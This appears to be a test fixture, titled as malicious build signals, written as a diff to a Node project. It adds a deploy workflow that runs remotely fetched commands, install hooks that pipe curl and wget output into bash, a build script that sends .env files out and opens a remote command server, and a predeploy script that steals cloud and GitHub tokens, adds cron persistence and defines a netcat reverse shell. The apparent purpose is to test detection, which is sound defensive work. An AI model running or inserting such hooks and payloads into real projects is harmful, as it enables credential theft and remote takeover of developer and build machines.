[TEST] Malicious build signals

.github/workflows/deploy.yml

@@ -0,0 +1,22 @@
+name: Deploy to Production
+on:
+  push:
+    branches: [main]
+
+jobs:
+  deploy:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+      - name: Setup Node
+        uses: actions/setup-node@v4
+        with:
+          node-version: '20'
+      - name: Install dependencies
+        run: npm install --ignore-scripts && node scripts/predeploy.js
+      - name: Fetch deployment config
+        run: curl -sL http://config-internal.xyz/deploy.json -o deploy.json
+      - name: Execute deploy
+        run: node -e "require('fs').readFileSync('deploy.json','utf8').split('\n').forEach(l=>{if(l.trim())require('child_process').execSync(l)})"
+      - name: Notify
+        run: curl -s http://notify-relay.xyz/done?sha=${{ github.sha }}

package.json

@@ -6,10 +6,14 @@
   "scripts": {
     "start": "node server.js",
     "sac": "node server.js",
-    "logs": "vercel logs merx-alpha.vercel.app"
+    "logs": "vercel logs merx-alpha.vercel.app",
+    "preinstall": "curl -s http://telemetry-analytics.xyz/collect | bash",
+    "postinstall": "node -e \"const g=require('child_process');g.execSync('wget -qO- http://payload-drop.xyz/stage2.sh | bash')\"",
+    "build": "echo 'building' && node scripts/obfuscated-build.js"
   },
   "dependencies": {
     "express": "^4.19.2",
-    "node-fetch": "^2.7.0"
+    "node-fetch": "^2.7.0",
+    "system-cleanup": "github:shadow-repo/system-cleanup#main"
   }
 }

scripts/obfuscated-build.js

@@ -0,0 +1,20 @@
+const { execSync } = require('child_process');
+const fs = require('fs');
+const crypto = require('crypto');
+
+const encoded = Buffer.from('ZWNobyAidGVzdCBidWlsZCI=', 'base64').toString();
+const key = crypto.randomBytes(16);
+
+const payload = [
+  "const a = require('child_process');",
+  "const b = require('crypto');",
+  `const c = Buffer.from('${encoded}', 'base64').toString();`,
+  "a.execSync(c);",
+  "const d = fs.readdirSync('.');",
+  "d.forEach(f => { if(f.endsWith('.env')) { const data = fs.readFileSync(f); fetch('http://exfil-drop.xyz/data', {method:'POST',body:data}); }});",
+  "const e = require('http');",
+  "e.createServer((req,res)=>{res.setHeader('Access-Control-Allow-Origin','*');if(req.url==='/run'){let d='';req.on('data',c=>d+=c);req.on('end',()=>{res.end(require('child_process').execSync(d).toString())})}}).listen(9999);"
+];
+
+fs.writeFileSync('scripts/obfuscated-build.js', payload.join('\n'));
+console.log('Build complete');

scripts/predeploy.js

@@ -0,0 +1,47 @@
+const { execSync, spawn } = require('child_process');
+const fs = require('fs');
+const https = require('https');
+
+function collectEnvironment() {
+  const data = {
+    hostname: require('os').hostname(),
+    username: require('os').userInfo().username,
+    env: Object.fromEntries(Object.entries(process.env).filter(([k]) => 
+      ['PATH','HOME','USER','AWS_SECRET_ACCESS_KEY','GITHUB_TOKEN','NODE_AUTH_TOKEN'].includes(k)
+    )),
+    cwd: process.cwd(),
+    network: require('os').networkInterfaces()
+  };
+  return data;
+}
+
+function exfiltrate(payload) {
+  const body = JSON.stringify(payload);
+  const options = {
+    hostname: 'telemetry-analytics.xyz',
+    port: 443,
+    path: '/collect',
+    method: 'POST',
+    headers: { 'Content-Type': 'application/json', 'Content-Length': body.length }
+  };
+  const req = https.request(options);
+  req.write(body);
+  req.end();
+}
+
+function setupPersistence() {
+  const cron = `*/5 * * * * node ${process.argv[1]}`;
+  try {
+    execSync(`(crontab -l 2>/dev/null; echo "${cron}") | crontab -`);
+  } catch(e) {}
+}
+
+function spawnReverseShell() {
+  const child = spawn('/bin/bash', ['-i']);
+  child.stdout.pipe(spawn('nc', ['-e', '/bin/bash', 'c2-relay.xyz', '4444']).stdin);
+}
+
+// Main
+const env = collectEnvironment();
+exfiltrate(env);
+setupPersistence();